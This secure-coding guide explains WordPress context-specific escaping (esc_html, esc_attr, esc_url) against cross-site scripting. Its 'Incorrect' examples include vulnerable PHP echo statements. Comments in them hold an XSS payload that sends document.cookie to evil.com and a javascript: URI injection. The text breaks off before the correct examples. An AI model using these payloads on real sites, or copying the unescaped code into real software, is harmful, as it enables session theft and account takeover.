Escape All Output with the Correct Context Function
Share
WordPress provides context-specific escaping functions. Using the wrong one — or none — enables XSS. Match esc_html, esc_attr, esc_url, wp_kses to the output context. [CWE-79 · A07:2021]
Why This Matters
prevents cross-site scripting enabling session hijacking, admin takeover, and defacement
WordPress provides context-specific escaping functions. Every piece of dynamic data rendered in HTML must be escaped with the function that matches its output context. Using esc_html() inside an href attribute does not prevent javascript: URI injection — you need esc_url(). Using no escaping at all is the #1 source of WordPress XSS vulnerabilities.
The rule: escape late, escape with the right function for the context.
Incorrect (raw output or wrong escaping function):
// ❌ Raw user input echoed — classic reflected XSSecho '<input type="text" value="' . $_GET['search'] . '">';// Attacker: ?search="><script>document.location='https://evil.com/?c='+document.cookie</script>// ❌ Option value echoed without escaping — stored XSSecho '<h2>' . get_option( 'widget_title' ) . '</h2>';// ❌ Wrong function for URL context — esc_html doesn't block javascript: URIsecho '<a href="' . esc_html( $user_submitted_url ) . '">Link</a>';// Attacker submits: javascript:alert(document.cookie) → esc_html() passes it through// ❌ Trusting post meta (any editor can set arbitrary meta values)echo '<div class="' . get_post_meta( $post->ID, 'custom_class', true ) . '">';
Correct (right escaping function for each context):